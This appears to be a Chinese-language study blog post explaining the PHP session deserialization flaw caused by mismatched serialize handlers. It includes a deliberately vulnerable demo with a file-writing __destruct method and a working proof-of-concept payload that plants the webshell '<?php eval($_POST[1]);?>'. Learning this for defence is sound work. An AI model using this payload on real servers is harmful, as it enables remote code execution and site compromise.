PHP序列化之Session反序列化漏洞

本文内容主要是出各位师傅那里获取来的,主要是用于记录学习,和自己的一些心得体会。

Session反序列化漏洞
要了解这个漏洞必须知道Session序列化机制。
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用php

自己觉得:session形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize,而另一个使用php读取Session。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。

例子:
下面是师傅提供的一个demo,自己改了一下。

/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['nice'] = $_GET['nice'];
?>
    /*test.php*/
    <?php 
    ini_set('session.serialize_handler','php');
    session_start();
    class nice{
        var $a;
        function __destruct(){
            $fp = fopen("D:\shell.php","w");
            fputs($fp,$this->a);
            fclose($fp);
        }
    }
    ?>

可以看到俩个页面使用了不同的序列化方法。
我们的目标就是实例一个$a让$a=<?php eval($_POST[1]);?>,之后写入shell.php里面

所以我们就要访问session.php让/tmp存储可以用php反序列化的poc。

我们先随便在session.php页面随便传递一个值。
?nice=abc
写入/tmp里面的是


因为test.php采用php的序列化来读取session的值。
所以我们可以控制abc的值来构造满足PHP。

所以poc

<?php
     class nice{
        var $a='<?php eval($_POST[1]);?>';
    }
$a=new nice();
echo serialize($a);
?>
#O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}
我们只需要在序列化前面加个 |
然后访问test.php就成功写入一句话。

经过session.php序列化存放的是

a:1:{s:4:"nice";s:56:"|O:4:"nice":1:{s:1:"a";s:24:"<?php eval($_POST[1]);?>";}";}

之后成功生成文件!!!

参考链接
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md#php-session-序列化及反序列化处理器设置使用不当带来的安全隐患
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app
https://www.jb51.net/article/116246.htm
https://www.freebuf.com/news/202819.html

posted @ 2020-08-14 13:49  Firebasky  阅读(610)  评论(0编辑  收藏  举报